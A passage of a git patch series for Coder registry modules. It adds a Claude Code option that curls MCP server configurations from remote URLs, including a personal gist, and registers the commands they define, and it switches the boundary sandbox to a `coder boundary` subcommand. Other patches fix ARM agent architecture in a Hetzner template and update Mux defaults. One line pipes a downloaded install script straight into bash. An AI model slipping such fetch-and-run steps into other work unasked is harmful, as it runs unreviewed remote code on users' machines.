b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -45,7 +45,7 @@ This example shows how to configure the Claude Code module to run the agent behi ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -64,7 +64,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -93,7 +93,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -114,7 +114,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -139,9 +139,30 @@ module "claude-code" { } } EOF + + mcp_config_remote_path = [ + "https://gist.githubusercontent.com/35C4n0r/cd8dce70360e5d22a070ae21893caed4/raw/", + "https://raw.githubusercontent.com/coder/coder/main/.mcp.json" + ] } ``` +> [!NOTE] +> Remote URLs should return a JSON body in the following format: +> +> ```json +> { +> "mcpServers": { +> "server-name": { +> "command": "some-command", +> "args": ["arg1", "arg2"] +> } +> } +> } +> ``` +> +> The `Content-Type` header doesn't matter—both `text/plain` and `application/json` work fine. + ### Standalone Mode Run and configure Claude Code as a standalone CLI in your workspace. @@ -149,7 +170,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -171,7 +192,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -244,7 +265,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -301,7 +322,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.5.0" + version = "4.6.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.test.ts b/registry/coder/modules/claude-code/main.test.ts index d59b6a8f..19ab98c0 100644 --- a/registry/coder/modules/claude-code/main.test.ts +++ b/registry/coder/modules/claude-code/main.test.ts @@ -461,4 +461,54 @@ EOF`, expect(startLog.stdout).toContain(taskSessionId); expect(startLog.stdout).not.toContain("manual-456"); }); + + test("mcp-config-remote-path", async () => { + const failingUrl = "http://localhost:19999/mcp.json"; + const successUrl = + "https://raw.githubusercontent.com/coder/coder/main/.mcp.json"; + + const { id, coderEnvVars } = await setup({ + skipClaudeMock: true, + moduleVariables: { + mcp_config_remote_path: JSON.stringify([failingUrl, successUrl]), + }, + }); + await execModuleScript(id, coderEnvVars); + + const installLog = await readFileContainer( + id, + "/home/coder/.claude-module/install.log", + ); + + // Verify both URLs are attempted + expect(installLog).toContain(failingUrl); + expect(installLog).toContain(successUrl); + + // First URL should fail gracefully + expect(installLog).toContain( + `Warning: Failed to fetch MCP configuration from '${failingUrl}'`, + ); + + // Second URL should succeed - no failure warning for it + expect(installLog).not.toContain( + `Warning: Failed to fetch MCP configuration from '${successUrl}'`, + ); + + // Should contain the MCP server add command from successful fetch + expect(installLog).toContain( + "Added stdio MCP server go-language-server to local config", + ); + + expect(installLog).toContain( + "Added stdio MCP server typescript-language-server to local config", + ); + + // Verify the MCP config was added to claude.json + const claudeConfig = await readFileContainer( + id, + "/home/coder/.claude.json", + ); + expect(claudeConfig).toContain("typescript-language-server"); + expect(claudeConfig).toContain("go-language-server"); + }); }); diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index dd540279..3a1128b4 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -166,6 +166,12 @@ variable "mcp" { default = "" } +variable "mcp_config_remote_path" { + type = list(string) + description = "List of URLs that return JSON MCP server configurations (text/plain with valid JSON)" + default = [] +} + variable "allowed_tools" { type = string description = "A list of tools that should be allowed without prompting the user for permission, in addition to settings.json files." @@ -404,6 +410,7 @@ module "agentapi" { ARG_ALLOWED_TOOLS='${var.allowed_tools}' \ ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \ ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \ + ARG_MCP_CONFIG_REMOTE_PATH='${base64encode(jsonencode(var.mcp_config_remote_path))}' \ ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ /tmp/install.sh EOT diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 07e199c1..b8e4fba2 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -16,6 +16,7 @@ ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d) +ARG_MCP_CONFIG_REMOTE_PATH=$(echo -n "${ARG_MCP_CONFIG_REMOTE_PATH:-}" | base64 -d) ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-} ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-} ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} @@ -30,12 +31,26 @@ printf "ARG_INSTALL_VIA_NPM: %s\n" "$ARG_INSTALL_VIA_NPM" printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS" printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG" printf "ARG_MCP: %s\n" "$ARG_MCP" +printf "ARG_MCP_CONFIG_REMOTE_PATH: %s\n" "$ARG_MCP_CONFIG_REMOTE_PATH" printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS" printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS" printf "ARG_ENABLE_AIBRIDGE: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "--------------------------------" +function add_mcp_servers() { + local mcp_json="$1" + local source_desc="$2" + + while IFS= read -r server_name && IFS= read -r server_json; do + echo "------------------------" + echo "Executing: claude mcp add-json \"$server_name\" '$server_json' ($source_desc)" + claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..." + echo "------------------------" + echo "" + done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') +} + function ensure_claude_in_path() { if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup" @@ -112,13 +127,25 @@ function setup_claude_configurations() { if [ "$ARG_MCP" != "" ]; then ( cd "$ARG_WORKDIR" - while IFS= read -r server_name && IFS= read -r server_json; do - echo "------------------------" - echo "Executing: claude mcp add-json \"$server_name\" '$server_json' (in $ARG_WORKDIR)" - claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..." - echo "------------------------" - echo "" - done < <(echo "$ARG_MCP" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') + add_mcp_servers "$ARG_MCP" "in $ARG_WORKDIR" + ) + fi + + if [ -n "$ARG_MCP_CONFIG_REMOTE_PATH" ] && [ "$ARG_MCP_CONFIG_REMOTE_PATH" != "[]" ]; then + ( + cd "$ARG_WORKDIR" + for url in $(echo "$ARG_MCP_CONFIG_REMOTE_PATH" | jq -r '.[]'); do + echo "Fetching MCP configuration from: $url" + mcp_json=$(curl -fsSL "$url") || { + echo "Warning: Failed to fetch MCP configuration from '$url', continuing..." + continue + } + if ! echo "$mcp_json" | jq -e '.mcpServers' > /dev/null 2>&1; then + echo "Warning: Invalid MCP configuration from '$url' (missing mcpServers), continuing..." + continue + fi + add_mcp_servers "$mcp_json" "from $url" + done ) fi From bd1a36b228ed87498d7968a9576445ee787111e6 Mon Sep 17 00:00:00 2001 From: Yevhenii Shcherbina Date: Tue, 27 Jan 2026 09:45:32 -0500 Subject: [PATCH 06/33] feat: use coder boundary subcommand (#674) ## Summary of Changes ### Feature: Add `coder boundary` subcommand support as default Adds `coder boundary` subcommand as the default method for running boundary eliminating the need to install boundary separately. **Changes:** 1. **New variable: `use_boundary_directly`** (default: `false`) - `false`: Uses `coder boundary` subcommand (default, no installation) - `true`: Installs boundary binary from release - `compile_boundary_from_source = true`: Compiles from source 2. **Fixed CAP_NET_ADMIN capability issue** - Copies `coder` binary to `coder-no-caps` to strip capabilities (required for boundary) 3. **Removed `boundary-run` wrapper** - no longer used **Files Modified:** - `scripts/start.sh` - main implementation - `main.tf` - added `use_boundary_directly` variable **Behavior:** - **Default**: Uses `coder boundary` subcommand (no installation needed) - **`use_boundary_directly = true`**: Installs boundary from release version - **`compile_boundary_from_source = true`**: Compiles boundary from source ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.7.0` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [ ] Tests pass (`bun test`) - [ ] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues --- registry/coder/modules/claude-code/README.md | 32 ++++++++++-------- registry/coder/modules/claude-code/main.tf | 7 ++++ .../modules/claude-code/scripts/start.sh | 33 +++++++++++++++---- 3 files changed, 51 insertions(+), 21 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index 8e98a880..984830f9 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -42,17 +42,21 @@ By default, Claude Code automatically resumes existing conversations when your w This example shows how to configure the Claude Code module to run the agent behind a process-level boundary that restricts its network access. +By default, when `enable_boundary = true`, the module uses `coder boundary` subcommand (provided by Coder) without requiring any installation. + ```tf module "claude-code" { - source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" - agent_id = coder_agent.main.id - workdir = "/home/coder/project" - enable_boundary = true - boundary_version = "v0.5.1" + source = "registry.coder.com/coder/claude-code/coder" + version = "4.7.0" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + enable_boundary = true } ``` +> [!NOTE] +> For developers: The module also supports installing boundary from a release version (`use_boundary_directly = true`) or compiling from source (`compile_boundary_from_source = true`). These are escape hatches for development and testing purposes. + ### Usage with AI Bridge [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. @@ -64,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -93,7 +97,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -114,7 +118,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -170,7 +174,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -192,7 +196,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -265,7 +269,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -322,7 +326,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.6.0" + version = "4.7.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index 3a1128b4..8c4bd08e 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -234,6 +234,12 @@ variable "compile_boundary_from_source" { default = false } +variable "use_boundary_directly" { + type = bool + description = "Whether to use boundary binary directly instead of coder boundary subcommand. When false (default), uses coder boundary subcommand. When true, installs and uses boundary binary from release." + default = false +} + variable "enable_aibridge" { type = bool description = "Use AI Bridge for Claude Code. https://coder.com/docs/ai-coder/ai-bridge" @@ -389,6 +395,7 @@ module "agentapi" { ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ ARG_BOUNDARY_VERSION='${var.boundary_version}' \ ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ + ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \ ARG_CODER_HOST='${local.coder_host}' \ /tmp/start.sh EOT diff --git a/registry/coder/modules/claude-code/scripts/start.sh b/registry/coder/modules/claude-code/scripts/start.sh index c3c32020..f64c77c1 100644 --- a/registry/coder/modules/claude-code/scripts/start.sh +++ b/registry/coder/modules/claude-code/scripts/start.sh @@ -16,6 +16,7 @@ ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false} ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"} ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false} +ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false} ARG_CODER_HOST=${ARG_CODER_HOST:-} echo "--------------------------------" @@ -30,12 +31,13 @@ printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS" printf "ARG_ENABLE_BOUNDARY: %s\n" "$ARG_ENABLE_BOUNDARY" printf "ARG_BOUNDARY_VERSION: %s\n" "$ARG_BOUNDARY_VERSION" printf "ARG_COMPILE_FROM_SOURCE: %s\n" "$ARG_COMPILE_FROM_SOURCE" +printf "ARG_USE_BOUNDARY_DIRECTLY: %s\n" "$ARG_USE_BOUNDARY_DIRECTLY" printf "ARG_CODER_HOST: %s\n" "$ARG_CODER_HOST" echo "--------------------------------" function install_boundary() { - if [ "${ARG_COMPILE_FROM_SOURCE:-false}" = "true" ]; then + if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ]; then # Install boundary by compiling from source echo "Compiling boundary from source (version: $ARG_BOUNDARY_VERSION)" @@ -52,14 +54,16 @@ function install_boundary() { # Build the binary make build - # Install binary and wrapper script (optional) + # Install binary sudo cp boundary /usr/local/bin/ - sudo cp scripts/boundary-wrapper.sh /usr/local/bin/boundary-run - sudo chmod +x /usr/local/bin/boundary-run - else + sudo chmod +x /usr/local/bin/boundary + elif [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then # Install boundary using official install script echo "Installing boundary using official install script (version: $ARG_BOUNDARY_VERSION)" curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "$ARG_BOUNDARY_VERSION" + else + # Use coder boundary subcommand (default) - no installation needed + echo "Using coder boundary subcommand (provided by Coder)" fi } @@ -212,15 +216,30 @@ function start_agentapi() { printf "Running claude code with args: %s\n" "$(printf '%q ' "${ARGS[@]}")" - if [ "${ARG_ENABLE_BOUNDARY:-false}" = "true" ]; then + if [ "$ARG_ENABLE_BOUNDARY" = "true" ]; then install_boundary printf "Starting with coder boundary enabled\n" BOUNDARY_ARGS+=() + # Determine which boundary command to use + if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ] || [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then + # Use boundary binary directly (from compilation or release installation) + BOUNDARY_CMD=("boundary") + else + # Use coder boundary subcommand (default) + # Copy coder binary to coder-no-caps. Copying strips CAP_NET_ADMIN capabilities + # from the binary, which is necessary because boundary doesn't work with + # privileged binaries (you can't launch privileged binaries inside network + # namespaces unless you have sys_admin). + CODER_NO_CAPS="$(dirname "$(which coder)")/coder-no-caps" + cp "$(which coder)" "$CODER_NO_CAPS" + BOUNDARY_CMD=("$CODER_NO_CAPS" "boundary") + fi + agentapi server --type claude --term-width 67 --term-height 1190 -- \ - boundary-run "${BOUNDARY_ARGS[@]}" -- \ + "${BOUNDARY_CMD[@]}" "${BOUNDARY_ARGS[@]}" -- \ claude "${ARGS[@]}" else agentapi server --type claude --term-width 67 --term-height 1190 -- claude "${ARGS[@]}" From 8d53725005973ef0c87df40f4587bb6cae9613b1 Mon Sep 17 00:00:00 2001 From: Alfred <68240493+Alfredooe@users.noreply.github.com> Date: Tue, 27 Jan 2026 22:34:24 +0000 Subject: [PATCH 07/33] Fix(registry/Excellencedev/templates/hetzner-linux): Correctly select coder agent arch on Hetzner CAX ARM Instances (#672) ## Description hetzner-linux template allows CAX (ARM) instances but hardcodes coder agent to amd64 causing the wrong coder-agent to be pulled on CAX instance causing provisioning failure. Adding `architecture` to server_types response and mapping this to correct agent arch, with defaults back to amd64 for if this fails. No Fix, CAX Instance ``` Jan 25 16:03:48 coder-test-nofix-dev systemd[1]: Starting coder-agent.service - Coder Agent... Jan 25 16:03:53 coder-test-nofix-dev systemd[1]: Started coder-agent.service - Coder Agent. Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + trap waitonexit EXIT Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2101]: + mktemp -d -t coder.XXXXXX Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_DIR=/tmp/coder.6oHHHW Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_NAME=coder Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_URL=https://coder.domain/bin/coder-linux-amd64 Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + cd /tmp/coder.6oHHHW Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + : Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + status= Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + command -v curl Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + curl -fsSL --compressed https://coder.domain/bin/coder-linux-amd64 -o coder Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + break Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + chmod +x coder Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + [ -n ] Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + export CODER_AGENT_AUTH=token Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + export CODER_AGENT_URL=https://coder.domain/ Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2133]: + ./coder --version Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2134]: + head -n1 Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2133]: /opt/coder/init: 90: ./coder: Exec format error Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + output= Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2136]: + echo Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2137]: + grep -q Coder Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo ERROR: Downloaded agent binary returned unexpected version output Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: ERROR: Downloaded agent binary returned unexpected version output Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo coder --version output: "" Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: coder --version output: "" Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + exit 2 Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + waitonexit Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo === Agent script exited with non-zero code (2). Sleeping 24h to preserve logs... Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: === Agent script exited with non-zero code (2). Sleeping 24h to preserve logs... Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + sleep 86400 ``` Fix, CAX Instance ``` Jan 25 16:08:55 coder-ARM64TEST-dev systemd[1]: Starting coder-agent.service - Coder Agent... Jan 25 16:09:00 coder-ARM64TEST-dev systemd[1]: Started coder-agent.service - Coder Agent. Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + trap waitonexit EXIT Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2046]: + mktemp -d -t coder.XXXXXX Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_DIR=/tmp/coder.4j7W57 Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_NAME=coder Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_URL=https://coder.domain/bin/coder-linux-arm64 Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + cd /tmp/coder.4j7W57 Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + : Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + status= Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + command -v curl Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + curl -fsSL --compressed https://coder.domain/bin/coder-linux-arm64 -o coder Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + break Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + chmod +x coder Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + [ -n ] Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + export CODER_AGENT_AUTH=token Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + export CODER_AGENT_URL=https://coder.domain/ Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2069]: + ./coder --version Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2070]: + head -n1 Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + output=Coder v2.29.2+b5360a9 Wed Jan 21 15:45:58 UTC 2026 Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2076]: + echo Coder v2.29.2+b5360a9 Wed Jan 21 15:45:58 UTC 2026 Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2077]: + grep -q Coder Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + exec ./coder agent Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: 2026-01-25 16:09:13.467 [info] agent is starting now ``` ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Template Information **Path:** `registry/Excellencedev/templates/hetzner-linux` ## Testing & Validation - [] Tests pass (`bun test`) - [] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- .../templates/hetzner-linux/main.tf | 26 ++++++++++++++----- 1 file changed, 20 insertions(+), 6 deletions(-) diff --git a/registry/Excellencedev/templates/hetzner-linux/main.tf b/registry/Excellencedev/templates/hetzner-linux/main.tf index 03e01a10..134bf634 100644 --- a/registry/Excellencedev/templates/hetzner-linux/main.tf +++ b/registry/Excellencedev/templates/hetzner-linux/main.tf @@ -137,11 +137,12 @@ locals { hcloud_server_types = { for st in jsondecode(data.http.hcloud_server_types.response_body).server_types : st.name => { - cores = st.cores - memory_gb = st.memory - disk_gb = st.disk - locations = [for l in st.locations : l.name] - deprecated = st.deprecated + cores = st.cores + memory_gb = st.memory + disk_gb = st.disk + architecture = st.architecture + locations = [for l in st.locations : l.name] + deprecated = st.deprecated } if st.deprecated == false } @@ -162,6 +163,19 @@ locals { data.coder_parameter.hcloud_location.value ) ] + + # Map Hetzner architecture (x86 or arm) to Coder agent architecture (amd64 or arm64) + agent_arch = try( + lookup( + { + "x86" = "amd64" + "arm" = "arm64" + }, + local.hcloud_server_types[data.coder_parameter.hcloud_server_type.value].architecture, + "amd64" # Fallback if not returned + ), + "amd64" # Fallback for template setup + ) } data "coder_provisioner" "me" {} @@ -187,7 +201,7 @@ data "coder_parameter" "home_volume_size" { resource "coder_agent" "main" { os = "linux" - arch = "amd64" + arch = local.agent_arch metadata { key = "cpu" From bd1c4c59cd2438683a0ad37b4023d53209ff93c1 Mon Sep 17 00:00:00 2001 From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com> Date: Wed, 28 Jan 2026 22:57:36 +0100 Subject: [PATCH 08/33] feat(coder/modules/mux): update defaults and add-project (#677) ## Summary - Default `subdomain` to `true` so Mux uses subdomain routing by default. - Default `display_name` to `Mux`. - Make `add-project` optional (`null` by default) and pass `--add-project` to `mux server` when set. - Bump mux module README example version to `1.0.8`. ## Notes Changing the `subdomain` default may affect workspaces without wildcard subdomain support configured (they can explicitly set `subdomain = false`). ## Testing - `terraform validate` (registry/coder/modules/mux) - `terraform test -verbose` (registry/coder/modules/mux) --- Generated with Mux (AI coding agent). --- registry/coder/modules/mux/README.md | 42 ++++++++++++++++++---------- registry/coder/modules/mux/main.tf | 28 +++++++++---------- 2 files changed, 42 insertions(+), 28 deletions(-) diff --git a/registry/coder/modules/mux/README.md b/registry/coder/modules/mux/README.md index 3f55209e..00a9de65 100644 --- a/registry/coder/modules/mux/README.md +++ b/registry/coder/modules/mux/README.md @@ -1,31 +1,31 @@ --- -display_name: mux +display_name: Mux description: Coding Agent Multiplexer - Run multiple AI agents in parallel icon: ../../../../.icons/mux.svg verified: true tags: [ai, agents, development, multiplexer] --- -# mux +# Mux -Automatically install and run [mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces. +Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces. ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id } ``` -![mux](../../.images/mux-product-hero.webp) +![Mux](../../.images/mux-product-hero.webp) ## Features - **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks - **Mux Workspace Isolation**: Each agent works in its own isolated environment -- **Git Divergence Visualization**: Track changes across different mux agent workspaces +- **Git Divergence Visualization**: Track changes across different Mux agent workspaces - **Long-Running Processes**: Resume AI work after interruptions - **Cost Tracking**: Monitor API usage across agents @@ -37,7 +37,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id } ``` @@ -48,20 +48,34 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id # Default is "latest"; set to a specific version to pin install_version = "0.4.0" } ``` +### Open a Project on Launch + +Start Mux with `mux server --add-project /path/to/project`: + +```tf +module "mux" { + count = data.coder_workspace.me.start_count + source = "registry.coder.com/coder/mux/coder" + version = "1.0.8" + agent_id = coder_agent.main.id + add-project = "/path/to/project" +} +``` + ### Custom Port ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id port = 8080 } @@ -69,13 +83,13 @@ module "mux" { ### Use Cached Installation -Run an existing copy of mux if found, otherwise install from npm: +Run an existing copy of Mux if found, otherwise install from npm: ```tf module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.7" + version = "1.0.8" agent_id = coder_agent.main.id use_cached = true } @@ -83,13 +97,13 @@ module "mux" { ### Skip Install -Run without installing 